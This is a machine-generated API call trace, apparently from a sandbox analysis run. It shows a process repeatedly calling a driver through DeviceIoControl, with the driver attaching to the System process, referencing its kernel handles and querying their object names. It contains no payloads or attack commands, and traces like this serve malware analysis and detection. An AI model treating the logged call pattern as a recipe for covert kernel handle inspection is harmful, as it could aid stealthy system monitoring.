PsReleaseProcessExitSynchronization () returned 0x2 [0063.093] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x105 [0063.093] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80038e9044, Length=0x800, ReturnLength=0xfffff880054f8508 | out: ObjectNameInfo=0xfffffa80038e9044, ReturnLength=0xfffff880054f8508) returned 0x0 [0063.093] ObfDereferenceObject (Object=0xfffffa8010ff9f20) returned 0x1 [0063.093] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0063.093] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x150000) returned 1 [0063.094] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0063.094] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x106, lpOverlapped=0x0) returned 1 [0063.094] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0063.094] PsAcquireProcessExitSynchronization () returned 0x0 [0063.094] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0) [0063.094] ObReferenceObjectByHandle (in: Handle=0xffffffff80000088, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d400, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa8007119050, HandleInformation=0x0) returned 0x0 [0063.094] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0063.094] PsReleaseProcessExitSynchronization () returned 0x2 [0063.094] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x105 [0063.094] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa800200c404, Length=0x800, ReturnLength=0xfffff880054f8508 | out: ObjectNameInfo=0xfffffa800200c404, ReturnLength=0xfffff880054f8508) returned 0x0 [0063.094] ObfDereferenceObject (Object=0xfffffa8007119050) returned 0x1 [0063.094] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0063.094] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x150000) returned 1 [0063.094] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0063.094] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0xc2, lpOverlapped=0x0) returned 1 [0063.094] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0063.094] PsAcquireProcessExitSynchronization () returned 0x0 [0063.094] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0) [0063.094] ObReferenceObjectByHandle (in: Handle=0xffffffff8000008c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d400, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa8002f2b470, HandleInformation=0x0) returned 0x0 [0063.094] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0063.094] PsReleaseProcessExitSynchronization () returned 0x2 [0063.094] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x105 [0063.094] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8003796044, Length=0x800, ReturnLength=0xfffff880054f8508 | out: ObjectNameInfo=0xfffffa8003796044, ReturnLength=0xfffff880054f8508) returned 0x0 [0063.094] ObfDereferenceObject (Object=0xfffffa8002f2b470) returned 0x21 [0063.094] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0063.094] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x150000) returned 1 [0063.094] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0063.094] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x14, lpOverlapped=0x0) returned 1 [0063.094] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0063.094] PsAcquireProcessExitSynchronization () returned 0x0 [0063.094] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0) [0063.094] ObReferenceObjectByHandle (in: Handle=0xffffffff8000009c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d400, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa8002964d20, HandleInformation=0x0) returned 0x0 [0063.094] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0063.094] PsReleaseProcessExitSynchronization () returned 0x2 [0063.094] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x105 [0063.095] ObQueryNameString (in: Object=0xfffffa8002964d20, ObjectNameInfo=0xfffffa80038bd044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa80038bd044, ReturnLength=0xfffff880054f8550) returned 0x0 [0063.095] ObfDereferenceObject (Object=0xfffffa8002964d20) returned 0x2 [0063.095] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0063.095] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x150000) returned 1 [0063.095] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0063.095] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x14, lpOverlapped=0x0) returned 1 [0063.095] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0063.095] PsAcquireProcessExitSynchronization () returned 0x0 [0063.095] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0) [0063.095] ObReferenceObjectByHandle (in: Handle=0xffffffff800000a0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d400, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa8002964050, HandleInformation=0x0) returned 0x0 [0063.095] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0063.095] PsReleaseProcessExitSynchronization () returned 0x2 [0063.095] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x105 [0063.095] ObQueryNameString (in: Object=0xfffffa8002964050, ObjectNameInfo=0xfffffa8003840044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa8003840044, ReturnLength=0xfffff880054f8550) returned 0x0 [0063.095] ObfDereferenceObject (Object=0xfffffa8002964050) returned 0x2 [0063.095] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0063.095] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x150000) returned 1 [0063.095] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0063.095] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x14, lpOverlapped=0x0) returned 1 [0063.095] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0063.095] PsAcquireProcessExitSynchronization () returned 0x0 [0063.095] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0) [0063.095] ObReferenceObjectByHandle (in: Handle=0xffffffff800000a4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d400, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa8002963890, HandleInformation=0x0) returned 0x0 [0063.095] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0063.095] PsReleaseProcessExitSynchronization () returned 0x2 [0063.096] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x105 [0063.096] ObQueryNameString (in: Object=0xfffffa8002963890, ObjectNameInfo=0xfffffa800378a044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa800378a044, ReturnLength=0xfffff880054f8550) returned 0x0 [0063.096] ObfDereferenceObject (Object=0xfffffa8002963890) returned 0x1 [0063.096] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0063.096] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x150000) returned 1 [0063.096] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0063.096] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x14, lpOverlapped=0x0) returned 1 [0063.096] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0063.096] PsAcquireProcessExitSynchronization () returned 0x0 [0063.096] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0) [0063.096] ObReferenceObjectByHandle (in: Handle=0xffffffff800000a8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d400, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa8010ff9540, HandleInformation=0x0) returned 0x0 [0063.096] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0063.096] PsReleaseProcessExitSynchronization () returned 0x2 [0063.096] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x105 [0063.096] ObQueryNameString (in: Object=0xfffffa8010ff9540, ObjectNameInfo=0xfffffa80038bf044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa80038bf044, ReturnLength=0xfffff880054f8550) returned 0x0 [0063.096] ObfDereferenceObject (Object=0xfffffa8010ff9540) returned 0x2 [0063.096] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0063.096] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x150000) returned 1 [0063.096] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0063.096] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0xba, lpOverlapped=0x0) returned 1 [0063.096] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0063.096] PsAcquireProcessExitSynchronization () returned 0x0 [0063.096] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0) [0063.096] ObReferenceObjectByHandle (in: Handle=0xffffffff800000ac, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d400, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa80111f0670, HandleInformation=0x0) returned 0x0 [0063.096] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0063.096] PsReleaseProcessExitSynchronization () returned 0x2 [0063.096] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x105 [0063.096] ObQueryNameString (in: Object=0xfffffa80111f0670, ObjectNameInfo=0xfffffa80038d4044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa80038d4044, ReturnLength=0xfffff880054f8550) returned 0x0 [0063.096] ObfDereferenceObject (Object=0xfffffa80111f0670) returned 0x2 [0063.096] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0063.096] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x150000) returned 1 [0063.096] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0063.097] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x6a, lpOverlapped=0x0) returned 1 [0063.097] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0063.097] PsAcquireProcessExitSynchronization () returned 0x0 [0063.097] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0) [0063.097] ObReferenceObjectByHandle (in: Handle=0xffffffff800000b0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d400, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa80029627a0, HandleInformation=0x0) returned 0x0 [0063.097] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0063.097] PsReleaseProcessExitSynchronization () returned 0x2 [0063.097] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x105 [0063.097] ObQueryNameString (in: Object=0xfffffa80029627a0, ObjectNameInfo=0xfffffa80038d5044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa80038d5044, ReturnLength=0xfffff880054f8550) returned 0x0 [0063.097] ObfDereferenceObject (Object=0xfffffa80029627a0) returned 0x1 [0063.097] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0063.097] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x150000) returned 1 [0063.097] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0063.097] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0xba, lpOverlapped=0x0) returned 1 [0063.097] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0063.097] PsAcquireProcessExitSynchronization () returned 0x0 [0063.097] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0) [0063.097] ObReferenceObjectByHandle (in: Handle=0xffffffff800000b4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d400, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa8010ff9a80, HandleInformation=0x0) returned 0x0 [0063.097] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0063.097] PsReleaseProcessExitSynchronization () returned 0x2 [0063.097] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x105 [0063.097] ObQueryNameString (in: Object=0xfffffa8010ff9a80, ObjectNameInfo=0xfffffa80038ce044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa80038ce044, ReturnLength=0xfffff880054f8550) returned 0x0 [0063.097] ObfDereferenceObject (Object=0xfffffa8010ff9a80) returned 0x2 [0063.097] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0063.097] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x150000) returned 1 [0063.097] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0063.097] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x88, lpOverlapped=0x0) returned 1 [0063.097] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0063.097] PsAcquireProcessExitSynchronization () returned 0x0 [0063.097] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0) [0063.097] ObReferenceObjectByHandle (in: Handle=0xffffffff800000b8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d400, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa80028a8850, HandleInformation=0x0) returned 0x0 [0063.097] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0063.098] PsReleaseProcessExitSynchronization () returned 0x2 [0063.098] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x105 [0063.098] ObQueryNameString (in: Object=0xfffffa80028a8850, ObjectNameInfo=0xfffffa80038d9044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa80038d9044, ReturnLength=0xfffff880054f8550) returned 0x0 [0063.099] ObfDereferenceObject (Object=0xfffffa80028a8850) returned 0x2 [0063.099] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0063.099] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x150000) returned 1 [0063.099] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0063.099] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x14, lpOverlapped=0x0) returned 1 [0063.099] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0063.099] PsAcquireProcessExitSynchronization () returned 0x0 [0063.099] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0) [0063.099] ObReferenceObjectByHandle (in: Handle=0xffffffff800000bc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d400, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa8002962e40, HandleInformation=0x0) returned 0x0 [0063.099] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0063.099] PsReleaseProcessExitSynchronization () returned 0x2 [0063.099] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x105 [0063.099] ObQueryNameString (in: Object=0xfffffa8002962e40, ObjectNameInfo=0xfffffa80038da044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa80038da044, ReturnLength=0xfffff880054f8550) returned 0x0 [0063.099] ObfDereferenceObject (Object=0xfffffa8002962e40) returned 0x3 [0063.100] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0063.100] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x150000) returned 1 [0063.100] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0063.100] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x106, lpOverlapped=0x0) returned 1 [0063.100] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0063.100] PsAcquireProcessExitSynchronization () returned 0x0 [0063.100] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0) [0063.100] ObReferenceObjectByHandle (in: Handle=0xffffffff800000c0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d400, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa8007591f20, HandleInformation=0x0) returned 0x0 [0063.100] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0063.100] PsReleaseProcessExitSynchronization () returned 0x2 [0063.100] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x105 [0063.100] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80038db044, Length=0x800, ReturnLength=0xfffff880054f8508 | out: ObjectNameInfo=0xfffffa80038db044, ReturnLength=0xfffff880054f8508) returned 0x0 [0063.100] ObfDereferenceObject (Object=0xfffffa8007591f20) returned 0x1 [0063.100] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0063.100] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x150000) returned 1 [0063.100] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0063.100] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x106, lpOverlapped=0x0) returned 1 [0063.100] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0063.100] PsAcquireProcessExitSynchronization () returned 0x0 [0063.100] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0) [0063.100] ObReferenceObjectByHandle (in: Handle=0xffffffff80000100, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d400, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa8002b6d5b0, HandleInformation=0x0) returned 0x0 [0063.100] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0063.100] PsReleaseProcessExitSynchronization () returned 0x2 [0063.100] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x105 [0063.100] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80038dc044, Length=0x800, ReturnLength=0xfffff880054f8508 | out: ObjectNameInfo=0xfffffa80038dc044, ReturnLength=0xfffff880054f8508) returned 0x0 [0063.100] ObfDereferenceObject (Object=0xfffffa8002b6d5b0) returned 0x1 [0063.100] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0063.100] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x150000) returned 1 [0063.100] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0063.100] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x106, lpOverlapped=0x0) returned 1 [0063.100] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0063.100] PsAcquireProcessExitSynchronization () returned 0x0 [0063.100] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0) [0063.101] ObReferenceObjectByHandle (in: Handle=0xffffffff80000104, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d400, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa8002af4050, HandleInformation=0x0) returned 0x0 [0063.101] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0063.101] PsReleaseProcessExitSynchronization () returned 0x2 [0063.101] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x105 [0063.101] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80038e2044, Length=0x800, ReturnLength=0xfffff880054f8508 | out: ObjectNameInfo=0xfffffa80038e2044, ReturnLength=0xfffff880054f8508) returned 0x0 [0063.101] ObfDereferenceObject (Object=0xfffffa8002af4050) returned 0x1 [0063.101] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0063.101] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x150000) returned 1 [0063.101] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0063.101] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x78, lpOverlapped=0x0) returned 1 [0063.101] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0063.101] PsAcquireProcessExitSynchronization () returned 0x0 [0063.101] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0) [0063.101] ObReferenceObjectByHandle (in: Handle=0xffffffff80000108, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d400, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa8002ff0b10, HandleInformation=0x0) returned 0x0 [0063.101] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0063.101] PsReleaseProcessExitSynchronization () returned 0x2 [0063.101] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x105 [0063.101] ObQueryNameString (in: Object=0xfffffa8002ff0b10, ObjectNameInfo=0xfffffa80038e4044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa80038e4044, ReturnLength=0xfffff880054f8550) returned 0x0 [0063.101] ObfDereferenceObject (Object=0xfffffa8002ff0b10) returned 0x1 [0063.101] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) 